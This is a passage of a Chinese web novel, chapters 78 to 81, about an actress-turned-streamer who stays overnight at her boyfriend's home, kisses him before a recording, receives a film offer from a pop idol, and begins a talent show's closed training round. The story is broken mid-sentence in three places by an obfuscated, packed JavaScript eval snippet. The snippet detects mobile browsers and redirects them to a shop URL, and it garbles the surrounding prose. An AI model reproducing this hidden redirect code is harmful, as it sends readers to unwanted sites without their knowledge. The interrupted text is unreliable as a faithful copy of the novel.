睡衣还蛮清香的,是一种混着洗衣液和松竹的味道,绸缎般丝滑的衣料垂坠在赤|裸的肌肤上,一股奇异的感觉油然而生。 裤脚有些长,林见微弯腰挽了几圈,又调整了下上衣。 而后她把换下来的衣服抱在胸前,打开门,以百米冲刺的速度冲出去,跑到时闻卧室。 这里已经开了灯,深橡木的大床上铺着深灰色的床单和被子,一如时闻老干部的品味。 然而床上正坐着一脸错愕的老干部本人。 时闻疑惑地朝她后面看了看:“……有鬼在追你?” 林见微以手扶额:“没,没有,我只是,呃,想早点睡觉了。” 时闻点头起身:“不好意思,我本来想问问你有没有喜欢的被子,我担心你不喜欢这些黑白灰的单调风格,特地买了些亮丽颜色的被子,呃……” 林见微挠头:“没事没事,就睡一晚,没事的。” 时闻本来都要出门了,但听闻此言,回过头,一副欲言又止的样子。 但沉默了半晌,他最终只是说了句“晚安”,然后轻轻关上门。 时闻走后,林见微才如释重负地把抱在身前的衣服丢到床上。 现在是凌晨三点,她打算第二天九点起床,忙一些香蕉平台直播的事。 可是本该尽快入睡的她躺下后根本没有睡意,相反,一股奇异的兴奋和好奇充斥着整个身体。 过了十几分钟,她腾地从床上坐起,认真观察着时闻的房间。 房间一圈贴着浅灰色的壁纸,床的对面是一个很大的投屏,靠近窗户的位置是三排悬空的白色书架,上面整齐摆满了各种书籍。 林见微好奇地凑过去,时闻看的书很杂,第一层大部分是关于表演的,第二层是文学名著和戏剧鉴赏,第三层就比较杂了,涉及财经、政治、地理、理论物理等。 林见微一边看一边轻叹,她一开始认识时闻的时候,就隐隐觉得他一定是个博学之人,现在看来果然不错。 随手翻了几本书,林见微突然发现,书架下方还有一个大抽屉。 拉开一看,里面放着一些一看就是时闻小时候玩的机械玩具,旁边还有一个黑漆封皮的文件夹,握在手里沉甸甸的。 看来这是一些贵重文件,林见微心想。 她本想把文件夹放回原处,但好奇心加邪恶心作祟,她还是鬼使神差地翻开了它。 然后她就倒吸了一口气。 文件夹里竟然满满都是海报,而放在最上面的,是她的处女作《月淡花浓》。 再往下翻,还有《烟雨半生》和《风华绝代》。 其他的都是影史上的经典之作,时间横跨1950年到2000年。 林见微不敢相信地捂住嘴巴,过了好久才小心翼翼地把文件夹合上,放回原处。 虽然以前她挺出名的,但看到一个人以如此规格珍藏自己的海报,还是感动不已。 而这个人,现在是自己的男友。 他就在一墙之隔的外面,正为自己这一世的前途而繁忙着。 命运真的是不讲道理,谁又能预料得到他们二人冥冥之中竟有这样的牵扯和缘分。 感叹了一会儿,时间已经来到凌晨3:30,她知道不能再熬了,决定上床睡觉。 然而准备关掉床头灯时,她突然看到暖黄灯光笼罩下的那方空间里,静静立着一张实木相框裱起来的照片。 那分明是一张全家福,前排左边站着一个精神瘦高的小伙,咧着嘴笑着,怀里抱着篮球,那分明是年轻了至少十岁的时穆飞。 他旁边是一个比他矮一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16800033|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头的女孩,长相清新甜美,一头乌黑如瀑长发温柔地搭在两肩,那应该是时穆烟。 时穆烟搂着一个和她差不多高的男生,一看就是初中生的年纪,青涩的脸庞上挂着微笑,但微微上翘的嘴角扬着一丝叛逆,锋锐的眉眼里目光锐利。 她和十多年前的时闻隔着照片四目相对,半晌,用指腹轻轻擦了擦那张隐隐带着傲气的脸。 后面一排是两个中年男女,男人气势昂扬,精神抖擞,一看就是商界里的成功人士,女人保养得宜,一身贵气,笑得温柔恬淡。 那应该是时闻早逝的父母了。 林见微轻轻地把照片按原来的角度放回去,伸手关上灯,然而当她触摸到旋钮时突然意识到了一件事。 如果刚刚她没有把照片拿起,而是坐在床上看过去,那个中年男人的脸会被床头灯挡住。 如果变换角度或者干脆躺下,也依然不可能看到他的脸。 联想到之前听过的时家秘辛,林见微顿时深吸了一口气,好像发现了一个深藏的秘密。 时间已经悄悄滑到凌晨3:45,林见微知道她无论如何不能再清醒下去了,于是果断摁掉床头灯,钻进被子里闭上眼睛。 第二天再睁眼的时候,她听见门口传来一阵非常急促的敲门声。 咚咚咚! 阳光透过窗户尽情倾泻进来,林见微揉了揉眼睛,因为日光有些刺眼而朝里翻了个身。 “劈叉,该起床了!”时闻的声音从门那一头传来。 林见微嘟囔道:“闹钟还没响,再睡会儿……” 时闻急忙打断她:“不能再睡了,不然就要迟到了!” 林见微心想,有那么严重吗,顺手从床头抓起手机,看到锁屏的那一刻“嗷”的一声鲤鱼打挺坐了起来。 12:03PM。 林见微:!!!!怎么可能!!! 她明明计划着早上九点就起来的,化妆、搞直播的事、为下午两点开始的录制做准备。 可是,现在怎么就中午十二点了呢?? 她点开闹铃,而后又是一声哀嚎:可能是换了新环境,她竟然忘记开闹铃了。 懊恼地揉了揉惺忪的头发,林见微慌忙弯腰穿上拖鞋,然后小跑到门口。 一股饭菜香味幽然飘了进来,打开门,正撞上拿着炒菜铲子的时闻,眼睛里燃着焦急。 “你可算醒过来了,”时闻无奈苦笑,“我叫了你好几次,如果这次你再不醒,我就要破门而入了……” 林见微直接越过他朝洗手间冲去:“啊啊啊不好意思,我可能睡神附体了!” 刚准备关上洗手间的门,林见微突然意识到什么,扒着门缝好奇地看着时闻——他穿着白色家居服,身前围了个白色围裙。 屋里飘香四溢,不远处的厨房里还咕嘟咕嘟响着什么。 迎着林见微惊异的目光,时闻咧嘴笑道:“我给你准备了四菜一汤,还有甜品,赶紧洗漱一下出来吃吧。” 林见微的眼睛瞬间变成O形,不可置信地看着他。 “希望和你的口味。”时闻说完便转身去了厨房。 79.七十九 哗啦哗啦—— 林见微将水龙头开到最大,用手鞠了一捧冷水,尽数泼到脸上。 一是为了让自己尽快清醒过来,二是为了缓解内心的震惊。 之前一直是她给陈怀顾做饭,虽然她比他忙很多,但每次回到家都是冷锅冷灶,从来没吃到过现成饭。 如果抱怨,陈怀顾就会冷冷地把手机丢过来,让她点外卖。 没想到有一天,她终于可以吃上现成饭了。 简单洗漱过后,林见微换好衣服,蹋着拖鞋来到餐厅,正撞上时闻端着砂锅小心翼翼地从厨房出来。 餐桌上已经摆好了四道炒菜——粉蒸虾,清蒸鲈鱼,白灼菜心,蟹黄豆腐——和两碗米饭。 时闻把砂锅放在四道菜正中间,又从厨房拿来两个小碗和勺子,做了个邀请的动作:“请用膳吧,劈叉大人。” 说完,还绅士地为她拉开一把椅子。 林见微感动地坐下,只见时闻又从砂锅里舀了一大勺汤端到她面前:“莲藕乌鸡汤,请慢用。” 林见微慌忙接过,顺着碗边小啜一口。 鸡汤浓郁醇厚,透着荷叶清香,入口顺滑,令人回味无穷。 “好汤!”林见微赞叹道。 时闻立刻露出灿烂笑容,指着桌上的四个盘子道:“那再来尝尝炒菜?” 林见微捻起筷子,在冒着热气的盘子上方来回摆动,突然意识到什么,抬头问道:“这白灼菜心和蟹黄豆腐……” 时闻温和笑道:“之前两次出去吃饭,你不是只吃这两样吗,外面的还是油大,也没那么新鲜,这些菜叶是我早上特地出门买的,炒的时候也没敢多放油,怕你觉得腻。” 林见微直接夹了一大口放进嘴里,含糊道:“好吃,一点都不腻!” 时闻突然想起什么,站起身跑到厨房,拉开烤箱,迎着四溢的甜香从里面端出一个烤盘。 那味道太过诱人,林见微忍不住回头,只见时闻捧着一盘松软可口、奶香浓郁的麦芬蛋糕,露出洁白牙齿笑道:“来一个?” 麦芬蛋糕每一个都比拳头大,林见微狂咽口水,拼尽全部意志力才艰难道:“你,你自己吃吧,我还有上镜需要。” 时闻把麦芬蛋糕放在餐桌边沿,自顾自拿起一个,咬下一大口。 松软的内仁、四溢的奶香、时闻无比享受的表情,林见微调动全身细胞抵御着喷薄而出的食欲。 不能吃,不要放纵。 我是一个有极高自制力的上镜工作者。 我还有工作。 几分钟后。 时闻轻轻蹙眉,看着正擦嘴的林见微,犹豫再三还是问道:“你……需要点水吗?” 林见微这才觉得有点噎得慌。 “那就来点吧。”食物残渣还卡在嗓子里,她说话有些喑哑。 时闻立刻起身,走到饮水机旁接了满满一大杯水。 等到他回来,托盘里又有一个麦芬蛋糕神秘消失了。 林见微的嘴巴鼓得像仓鼠,一脸天真地望着他。 时闻:“…………喝点水吧我怕你噎死。” 林见微乖巧地接过水,顺了好几次才把所有的蛋糕残渣咽了下去。 而后看着时闻问道:“怎么又吃麦芬蛋糕,暂时没工作也不能自暴自弃啊。” 时闻轻叹口气坐下,筷子悬在粉蒸虾和清蒸鲈鱼上面,最后夹了一块最大的虾放进林见微碗里:“多吃点。” 不得不说时闻手艺真不赖,粉蒸虾晶莹饱满,粉红的虾皮配上晶莹透亮的粉丝,再带上油香诱人的锅气,林见微嗷呜一大口直接吃下。 吸满汤汁的大虾在舌尖爆浆,顺滑的粉丝完美中和了汤汁的咸香,林见微还没咽下,就冲时闻竖起大拇指。 “好吃!” 而后迎着时闻微笑的目光,林见微眨巴着眼睛道:“你打算什么时候开始直播啊?” 时闻目光瞬间黯了下去,他给自己夹了一块小虾,默默吃了下去。 而后又拿起一块麦芬蛋糕,从中掰开几次,一块一块送进嘴里。 林见微知道他的心思,看来他还是无法接受开直播这件事,老干部网速太慢,完全不了解现状,还以为开直播的都是不正经的人。 殊不知现在多少大咖位的明星在直播啊! 林见微不想破坏气氛,便转移话题问:“话说,做饭这个主意,是不是AI告诉你的啊?” 时闻一听便知道林见微昨晚听见了他和谷煜的谈话,笑道:“这是常识,还需要求助AI?” 说着从桌子上拿了个空盘,夹了一大块鱼放上去递给林见微:“小心刺,吃鱼的时候单独吃,别和米饭混在一起。” “是清蒸的,没放油,放心吃。” 林见微接了过来,一小口一小口把鲜嫩肥美的鱼肉送进嘴里。 吃鱼肉需要专心,时闻夹过来的那块鱼又特别大,林见微低头挑刺,很久没说话。 时闻没怎么动筷,一直看着林见微的动作,见她把鱼肉都顺利吃完了,才缓缓道:“昨晚谷煜问了AI,说追女孩子需要共同兴趣爱好和话题入手。” 林见微抬起头,时闻问道:“所以,你有什么兴趣爱好吗?” 这么一问,林见微突然愣住。 兴趣爱好?大劈叉有没有什么爱好她不知道,但林见微……好像没什么特别喜欢做的。 工作就是她的兴趣爱好。 见林见微沉默,时闻又问道:“即使你平时闲着的时候,喜欢做些什么?” 林见微又愣住,闲着的时候?她没有闲着的时候。 事业就是她生命的全部。 结果上辈子还被人横插一刀给毁了。 想了半天,她还是照实答道:“我就喜欢工作,喜欢拼搏奋斗。” 时闻无奈笑道:“刷手机、看电视也算兴趣爱好,这些事你会做对吧?” 林见微:“刷手机看电视都是为了了解时下热点,我从不盲目看东西,都是为工作做准备。” 时闻:“…………那你学生时代,或者童年的时候,有什么喜欢做的事吗,除了工作学习?” 林见微放下筷子,双手支在脸颊,目光向上陷入沉思。 其实,当她还没变成现在这个工作狂时,确实有些喜欢做的事。 比如,滑雪。 她一直都记得她第一次去滑雪的感觉,那种呼啸在山林间,如自由的鸟一样飞起的感觉。 她看着时闻:“你会滑雪吗?” 有那么一瞬间,时闻怔住,而后快速说:“呃,会。” 林见微笑了:“那太好了,正好天气也快变冷了,等下雪之后,咱们一起去滑雪啊。” 时闻认真看着她点头:“一言为定。” 吃完饭差不多就一点了,节目两点开始录制,不过幸好时闻家距离录制地点也就15分钟车程。 林见微简单化了个白开水状,时闻把碗筷收到厨房洗碗机里,二人就出门了。 今天突然降温了,外面只有25度左右,微风卷着早秋的清凉,吹在身上舒爽至极。 地下车库更显阴凉,二人短袖短裤出门,坐进车后时闻嘱咐道:“最近一段时间天气转凉,你别忘了多穿点。” 路上很顺没堵车,1:30左右时闻把林见微送到录制现场。 地库里停了不少保姆车,林见微一看便有些焦急,这意味着许多大公司的选手都已经过来了。 时闻刚把车停好,林见微就去拉车门,但这时时闻幽幽道:“等一等。” 林见微:“?” 时闻轻咳一声,欲言又止地看着她,好几秒后才低声道:“呃,你这就走了?要不要……吻别一下?” 林见微的脸瞬间红了。 如果真的吻别,这将是他们二人第一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16804298|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正式的接吻。 毕竟上一次是她恶作剧心里作祟,强势吻过去的。 不知为什么林见微突然怂了,紧握住车把手,金属的冰凉感在手掌沁开。 “呃……”林见微犹犹豫豫,还做贼心虚地看了看四周。 地下车库安静非常,半个人影也没有。 下一秒一双大手突然抓住她胳膊,把林见微朝驾驶座方向扳了过来。 对面,幽深的黑眸里闪着什么奇异的光。 松竹般清冽的气息强势袭来,时闻身子逐渐靠近,林见微的视线一点一点被那高大身形蚕食遮挡。 他低下头,滚烫的气息喷在林见微口鼻间。 而后嘴唇凑了上来,在她的唇上留下轻轻一吻。 一股原始的悸动在林见微体内觉醒,仿佛封冻已久的坚冰突然开始融化,高山之巅的积雪终于开始化作汩汩春水。 春回大地,草木发芽,尘封已久的温暖终于重回生命。 林见微闭上眼睛回吻过去,双手不自觉地攀上时闻宽阔的肩膀。 丝丝甜香钻入口鼻,比麦芬蛋糕还要甜。 时闻情难自已,吮吸着软嫩香甜的嘴唇,不自觉地将林见微娇小的身形全部紧紧搂入怀中。 冬日暖阳融融照在一汪春水上,万物复苏,草木疯长,二人拥吻许久,林见微才低声道:“我该走了。” 时闻轻轻点头,却没半分要松手的意思。 林见微试图脱离时闻紧箍的怀抱,尝试几次后时闻才恋恋不舍地松开。 再次四目相对时,时闻的目光变得柔情似水,黑眸里如坚冰似深湖的东西消失殆尽,取而代之的是一片草木勃发的春意盎然。 “比赛加油!”时闻轻声道。 林见微点头:“你回去吧,路上注意安全。” 十五分钟后,林见微通过电梯直达十楼,找到了节目录制的地方。 今天的节目流程是先在总部集合,换上统一发放的衣服,然后一起坐大巴车出发,去郊外的营地集中封闭训练。 选手们一半挤在化妆间,几个化妆老师恨不得一个人长出六双手,给选手们补粉、喷定妆、改发型。 另一半选手挤在洗手间换衣服,叽叽喳喳有说有笑,好不热闹。 林见微先去领衣服,然后径直奔去洗手间。 女洗手间人满为患,外面已经排着十几个人,林见微默默站在队伍末尾,本想站着打会儿瞌睡,但只听里面有人说道: “今天的热搜你们都看到了吗?有我们的选手哦。” 林见微立刻条件反射似的清醒过来,后背一直,脊骨渐渐开始发凉。 上次热搜的阴影还没完全褪去,就在昨天,她还因为热搜黑幕和李颂一唇枪舌剑地干了一仗。 她差点因此失去《星璨》的参赛资格,之前还因为无中生有的热搜被文眉导演质疑能不能胜任女一号。 这时只听前面有个尖细的声音说道:“我看了!不敢相信,这不是她第一次这样了。” 林见微心里一沉,不会又有人造谣她晋级有黑幕吧? 前面一下子七嘴八舌议论起来:“这个女人为了火,真是什么下贱手段都使得出来!竟然敢蹭周落前辈的热度,脸皮比城墙还厚!” “昨天她跳舞的时候我就觉得不对!最后那个动作她还说是周落提前设计的,呸,肯定是她临时加的。” “没错没错,她上台前肯定早就设计好怎么吃周落的豆腐了,特意选了周落的成名曲,然后还邀请他指导跳舞,啧啧,有心机。” “当时那个情形,周落还不能拒绝,也不能公开指责,只能忍气吞声把苦楚默默咽下去,唉,心疼我落哥,又被揩油又被传绯闻传黑幕,都是无妄之灾!” 听了这半天,林见微终于松了口气。 她打开手机,点开微博热搜,只见榜首第三正是:#星璨周落和女选手激舞 80.八十 热搜词条后面缀着一个深红的“沸”字。 这个自然,毕竟周落是一线明星,人帅身材赞,随便在哪儿出场都能引发一众歇斯底里的尖叫。 而且他在这个圈子里摸爬滚打好些年了,颇有江湖地位和威望。 他和一个选秀节目的女选手激舞?无论是粉丝们还是路人都想一看究竟。 词条始自一段视频,是从《星璨》官方发布的节目花絮预告截取下来的,其实只有不到十秒钟,但巧妙捕捉了邓舒华和周落共跳《Diss me》的精彩瞬间。 网友们纷纷发动八卦的雷达,人肉搜索那个女选手的所有信息,互联网时代果然没有秘密,不到一个小时,邓舒华的个人信息就都被公开了。 大家一致唾骂她蹭热度,为了流量不择手段,周落那些狂热的粉丝们更是口不择言,类似于“咒她死全家”的言论满天飞。 不过黑红也是红,很快,微博热搜就出现了另一个词条:#邓舒华回应和周落的激舞 词条一出现,热度就迅速飙升,很快就和原词条的排名不相上下。 点开一看,只见是一条三十秒的VCR,邓舒华穿着白色T恤,整个人显得干净清爽,她笑着回应说当时只是两人临时起意,切磋舞技。 最后那个看似暧昧的动作,也是为了配合音乐和舞蹈的意境。 网友们自然不买账,底下清一色地骂她心机女,不要脸。 周落的粉丝们更是炮轰咒骂,不吝啬使用各种别开生面的污言秽语。 洗手间的队伍很长,排队的时间足够林见微把两个词条看个七七八八,而后她微微一笑。 这种事情,一看就是节目组和乐盛默许的,借周落的热度给节目造势,也给周落和选手们曝光度,何乐而不为? 把热搜看完,队伍也排到她了,林见微走进一个隔间,把领到的衣服换上。 《星璨》统一发放的服装按照评级分不同颜色,A班是鲜艳富贵的大红色,B班是典雅显白的绛紫色,C班是欣欣向荣的草绿色,D班是蔚然澄澈的天蓝色。 林见微拿到的是紫色外套、白衬衣、紫色短裙,林见微没费多大功夫就换好出来。 在洗手池镜子前整理了一番,又检查了下妆容,林见微去了化妆间。 这里人声鼎沸,不少人也谈论着邓舒华的热搜,大家的立场倒是惊人一致:邓舒华为了红不要脸。 林见微没加入讨论,只是让化妆老师迅速检查了下妆发,老师上看看下看看,倒是对她今天的轻透白开水妆十分满意。 “你底子好,不怎么需要化妆,现在刚刚好。” “而且其他人妆效做得浓,正好把你放进去换换感觉,让大家别开生面一下。”化妆老师笑眯眯地说。 林见微心想那正好,既然这样她就直接下楼去找大巴车,坐进去还可以补觉。 这么想着她往外走,但还没走到电梯口,就被一道低沉男声拦了下来。 “韦盏。” 林见微猛然一抖,这声音出奇熟悉,仿佛来自记忆深处。 她抬头,只见一个头戴鸭舌帽,捂着黑色口罩的男人站在一旁的角落里,高大的身形倚在墙边。 虽然遮住了大半张脸,但依然能感觉到脸上的疲态。 林见微脚步钉在原地,一时间拿不准要不要过去。 但想了片刻她还是走到周落身边,询问地看着那双布满红血丝的眼睛。 周落盯着她半晌,低声道:“昨天对不起。” 林见微脑海中又浮现出昏暗的后台,他倾身过来,把她压在门上的情形。 她身子一僵,没有说话。 周落看上去很憔悴,似乎一晚上没睡好,其实今天没有他的工作,没必要来。 “我……我承认我平时确实有些不太检点,在娱乐圈这个大染缸待久了,沾染了不少不良习气。” “但是我对你是认真的。” 周落语音低沉,一字一句落进林见微耳中,她讶异地看着他,悄无声息往后退了半步。 周落苦笑道:“别误会,我不会强迫你做什么,只想纯粹表达我对你的欣赏。” “你试戏的时候,我就感受到,你身上有一种与众不同的磁场,像魔力一样。” “你坐在那里,瞬间就变成了戏里的角色,那么真实、有感染力、有说服力,这是一种与生俱来的天赋,是经过多少后天训练都达不到的境界。” “你是在用你的生命、灵魂、赤子之心在演戏,在每一个镜头里,你和角色灵肉合一,互相成就。” “我演了很久的戏,迄今为止只见过一个人有这种能力,但她已经……唉。” “我希望你好好的,拥有似锦的前途,不可限量的星途,保护你的赤子之心,不要像我一样,无限地妥协,最后落得这般境地。” 林见微微微吃惊,周落是当红流量小生,无数人觊觎他的位置,每年都有大把戏约和节目找到他。 赚不完的钱,吃不尽的流量红利,赶着送上门的香车宝马,醉生梦死的浮生…… 可是听他的意思,他的处境并不好? 周落看穿了她的疑问,苦笑地简短解释道:“这里面水太深,三言两语说不明白,你也不需要知道这些肮脏事。” “今天我过来就是想问你,《冬逝华年》你愿意参演吗?” 林见微这才抬起头认真看着周落。 电影投资商,文眉导演钦定的男一号,娱乐圈顶流小生,竟然问一个没名气没作品的十八线小主播能不能参演他的电影? 这要被其他人听到,一定会惊讶得跌破眼镜。 她何德何能,能被当红偶像这样大费周章地请去拍电影? 林见微不想不识抬举:“我当然对这部戏很感兴趣,也希望能和文眉导演合作。” 周落似乎松了一口气,一直微皱的眉头也稍稍舒展:“那太好了,之前你热搜的事不用担心,我已经跟文导做好思想工作了……” 话没说完,林见微道:“但是有一个条件。” 她面色凝重,表情冰冷,周落的心瞬间沉了一下。 他再次紧张起来,声音有些喑哑:“你说。” 林见微:“你今天不是上热搜了吗,我的条件和这个有关。” 而后她对周落如此这般说了一番。 周落讶异地看着她:“你为什么打算这么做?” 林见微神秘一笑:“天机不可泄露。” 十分钟后,林见微在楼下找到了非常扎眼的四辆大巴车。 首先,四辆车分别被涂成大红色、绛紫色、草绿色、天蓝色,象征着A-D班。 其次,最令林见微震惊的是,车身上统一印着一行硕大的花体字—— 氧气少年,就喝舒氧!! 林见微:“…………“ 看来谷煜的冠名权问题也得到了妥善解决,广告语都安排了。 不错不错。 林见微找到停在中间的象征着B班的绛紫色大巴,凑近看发现车门已经开了,司机正在蹲在外面抽烟。 见林见微过来,司机笑道:“来这么早?上去吧。“ 林见微依言踏上几级台阶,早秋时节,室外凉爽宜人,但车内因为没开空调,反而有些逼仄闷热。 不过这种温度正适合补觉,虽然昨晚比计划多睡了几个小时,但可能因为最近一直连轴转,身体吃不消,醒来后林见微就觉得异常疲累。 眼睛酸涩,而且上眼皮总想和下眼皮如胶似漆。 在中间找了个靠窗位置坐下,林见微头枕着窗户,闭上眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16809181|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那一刻只觉得无比舒服。 思绪越来越沉,意识越来越模糊,世界变成黑暗一片。 突然,沉重的头猛地晃了一下,她恍然惊醒。 于是她震惊地发现,周遭完全变了模样—— 刚刚空无一人的闷热车厢已经坐满了身着绛紫色制服的少男少女,大家叽叽喳喳有说有笑,好不热闹。 头顶的空调也开开了,车内温度宜人,颇为舒爽。 但最令她瞳孔地震的是,身旁的空位坐着一个女生,她眉眼冷冽,下巴微扬,嘴角紧抿成一条没有感情的直线。 见林见微醒来,李颂一没说一句话,只是继续目视前方,眉头凝起一层沉重,和周遭欢乐喧闹的氛围格格不入。 林见微非常有理由相信,她不是自愿坐到这个位置的。 事实也确实如此,李颂一昨晚情绪激动,和邓舒华发生口角和激烈冲突,被保安带走,后来公司出面好说歹说,才让她无恙出来。 她依然愤愤不平,坚信自己没有错,但公司害怕再惹冲突,让李颂一晚一点再到录制现场,还千叮咛万嘱咐,收收性子,可别再惹事了。 所以她很晚才上车,那个时候所有座位都满员了,只有林见微身旁空着一个位置。 李颂一再三看了一圈,确定没有别的地方可以坐,才愤愤地一屁股坐下。 但她心里一直在骂:这个靠黑幕才进来的选手,凭什么配和我坐在一起。 车内还安有若干摄像头,实时拍摄选手之间的互动,虽然知道节目可能会拿这个做噱头,但李颂一始终嘴唇紧抿,抱臂在胸前,打定主意不给林见微好脸色。 林见微醒过来后,李颂一只是冷冷横了她一眼,没说什么。 不过看向李颂一的时候,林见微看见对面的两个座位上坐着杜之江和宫,二人春风满面,口角衔笑。 见林见微醒了,二人兴奋地挥手打招呼。 今天有点堵车,大巴车开了四十多分钟才刚刚出市区,距离《星璨》选手的宿舍还有十几公里的路程。 林见微一开始低头刷手机,后来肩颈有点酸疼,开始看向窗外。 车内聊天声渐渐变小,有些选手开始补眠,安静的氛围下能清晰听见后面几排有人在小声议论邓舒华和周落的热搜。 选手们的看法惊人一致,纷纷谴责邓舒华为了流量不择手段,一致同情周落为了节目和大局,被人蹭热度也不敢言语的大度。 半个小时之后林见微转头看向李颂一——她依然是那副冷傲的样子,眉眼恨不得长到天上。 “李颂一。”林见微叫了一声。 李颂一跟没听见一样,但眉头皱得更紧了。 “我知道你不想跟我说话,但是接下来的赛制决定,你我有可能不得不合作。”林见微缓缓道。 李颂一的眉头拧得更紧了,林见微说的没错,下一轮是团体赛,大家需要6-7人组队出战。 而队伍分配有可能是随机的,意味着她和林见微有可能被分到一组。 “你觉得我没资格进入《星璨》,所以对我颇有敌意。那接下来,我们就凭本事说话,我们在同一个班,吃住训练都在一起,有没有真本事一目了然。” “真的瞒不住,假的演不了,所以我们用实力说话?” 李颂一毫无反应,好像根本没听见林见微说了什么。 窗外景色向后退去,京南市的高速公路两旁,草木边沿染上了一点黄色和红色。 道路上车辆飞逝而去,晴好的阳光透过窗户照射进来,晒得人暖意融融。 过了一阵,大巴车减速朝右边并道,驶出出口后又开了十几分钟,景色渐渐荒凉起来,车辆和人烟变得稀少。 这时,只听李颂一终于慢慢吐出一个字: “行。” 81.八十一 四辆大巴车缓缓驶入一条羊肠小路,四周都是平房,远处还可以看见金黄麦田。 《星璨》节目组为了确保训练是封闭的,特意选了一个几乎荒无人烟的十分偏僻地方,这样一可以杜绝选手因嫌弃宿舍条件不好而偷摸出去住宾馆,二可以杜绝选手管不住嘴偷偷点外卖或者买零食。 节目组打定主意要让选手们过两周苦日子,然后24小时实时录下他们的反应。 有一些选手已经开始哀嚎—— “训练期间能请假回城里住几天吗?”“这地方安全吗,晚上能出门吗?”“你还想晚上出门?去干嘛啊,逛街看电影啊?” 对于这些,林见微没在怕的,毕竟拍戏的时候,什么荒郊野岭都去过。 有一次他们去大山里拍了一个月的戏,那地方就连最基本的水电都很难保证,烧火做饭更是奢望,他们全剧组基本都靠自热速食、火腿肠、罐头食品活下来。 所以有宿舍住,有食堂吃,能按时洗澡,还有灯火通明的练习室可以使用,这已经很好了。 下了车,一座巨大的二层灰色平房映入眼帘,大家拿上轻便行李走了进去。 其实室内装修还蛮好的,一层是集合大厅、食堂、练舞室,二楼是宿舍。 场控小姐姐吴央举着大喇叭指挥着一百名选手按照A-D班站好,而后从大门外走进来一个身形不高的中年男人。 回头看他的时候,林见微注意到,A班大红色的队伍里,白濯和唐筱年微笑地朝她挥手。 不得不说,两个人并不适合大红色,鲜艳的外套让他们看上去像小丑一般滑稽,艳丽的短裙更是和白濯帅气的气质不搭。 不过两个人还是有说有笑的,看上去颇为轻松自在。 一众鲜红色的末尾,邓舒华一个人站在那里,没有人和她说话,但她看上去倒没受什么影响,脸上带着职业的营业微笑。 和林见微目光相接的时候,她好像瞬间活了过来,兴奋地挥了挥手。 陈华走到队伍前列,原本喧闹的大厅立刻安静下来,他是第二轮的总编导,负责选手们的各项事务。 陈华微笑地看着大家,不过虽然他嘴角上扬,但眼底依然透着不怒自威的气场。 吴央将大喇叭递给陈华,他将全场逡巡一遍,然后对着麦克风大声道: “恭喜各位,成功来到《星璨》的第二轮比赛。” “希望大家昨晚休息得不错,因为接下来你们将迎来非常紧张、非常有挑战性的两周。” “首先,我来宣布一下这一轮的比赛规则。” 他从胸前口袋里掏出一张手卡,快速低头看了一眼:“第二轮大家将按照A、B、C、D四个班级训练指定曲目。” “A班能力突出,所以需要排练四首曲目,B班排练三首,C班排练两首,D班因为能力有限,只需要排练一首。” “每个班有25人,将结成3个6人组和1个7人组,大家分组训练。” “我们的考核方式是,两周后,我们将随机抽取一首曲目进行考核,比如A班这两周排练了四首曲子,但考核的时候我们将从中随机抽取一首让A班进行演出。” “D班因为只有一首曲子,所以不需要随机选取,只需要确保练熟这一首就行。” 队伍里立刻爆发出一片议论声,A班的人哀嚎一片:两周练习四首曲目,这也太紧张了叭! 这意味着平均三天半就要练熟一首曲子,而且还要团队一起排练,达到较高的整齐度和协调度。 一天扒舞,一天练习,一天合练,很可能还没记牢动作和走位就要连轴转开始下一首曲目的练习。 这简直是地狱级别的难度。 B班也没好到哪里去,两周练习三首曲目也不是什么容易的事。 C班的D班的人都暗自庆幸,脸上展开笑容,林见微看见穿着天蓝色制服的钱雯开心地和另一个D班队友互相击掌。 待议论渐息,陈华缓缓道:“下面我来介绍一下这一轮的淘汰率。” “淘汰”两个字犹如紧箍咒一样,众人立刻心里一紧,头疼起来。 “本轮我们将淘汰35人,A班淘汰率为20%,淘汰5人,B班淘汰率为30%,淘汰7人,C班淘汰40%,10人,D班淘汰50%,13人。” 话音未落,大厅里又响起一片嘈杂议论,这次的声音比上一波还大。 这个规则对高评级的人是有倾斜的,因为对于B班来说,25人淘汰30%相当于淘汰7.5人,但节目组没有四舍五入,而是抹掉了0.5。 而这0.5人加给了D班,所以他们要多淘汰一些。 得知自己组要半数覆没的D班立刻没有了神采,哀声一片,有几个戏多的选手甚至开始表演抱头哭泣。 C班也人人自危,但A班和B班也没有高兴起来——两个班都是精锐之师,水平不相上下,淘汰任何人都是损失。 陈华补道:“这一次我们不会淘汰整组选手,而是会综合大家的训练表现和最终的舞台表演,决定送谁回家。” 